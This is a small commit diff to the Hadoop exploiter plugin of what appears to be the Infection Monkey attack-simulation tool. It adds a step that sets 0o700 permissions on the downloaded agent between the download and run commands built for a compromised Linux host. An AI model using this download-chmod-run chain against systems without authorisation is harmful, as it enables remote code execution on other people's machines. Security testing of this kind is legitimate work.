Hadoop: Use build_permission_change_command

guardicore · Jun 12, 2024 · 801a0e9 · 801a0e9
1 parent 4e1ca63
commit 801a0e9
Showing 1 changed file with 7 additions and 0 deletions.
diff --git a/monkey/agent_plugins/exploiters/hadoop/src/hadoop_command_builder.py b/monkey/agent_plugins/exploiters/hadoop/src/hadoop_command_builder.py
@@ -8,6 +8,7 @@
     LinuxDownloadMethod,
     LinuxDownloadOptions,
     LinuxRunOptions,
+    LinuxSetPermissionsOptions,
     TargetHost,
     WindowsDownloadMethod,
     WindowsDownloadOptions,
@@ -78,11 +79,17 @@ def _build_linux_hadoop_command(
         download_url=agent_download_url,
     )
 
+    chmod_options = LinuxSetPermissionsOptions(
+        agent_destination_path=agent_destination_path, permissions=0o700
+    )
+
     run_options = LinuxRunOptions(
         agent_destination_path=agent_destination_path,
         dropper_execution_mode=DropperExecutionMode.NONE,
     )
 
     agent_command_builder.build_download_command(download_options)
+    agent_command_builder.build_set_permissions_command(chmod_options)
     agent_command_builder.build_run_command(run_options)
+
     return agent_command_builder.get_command()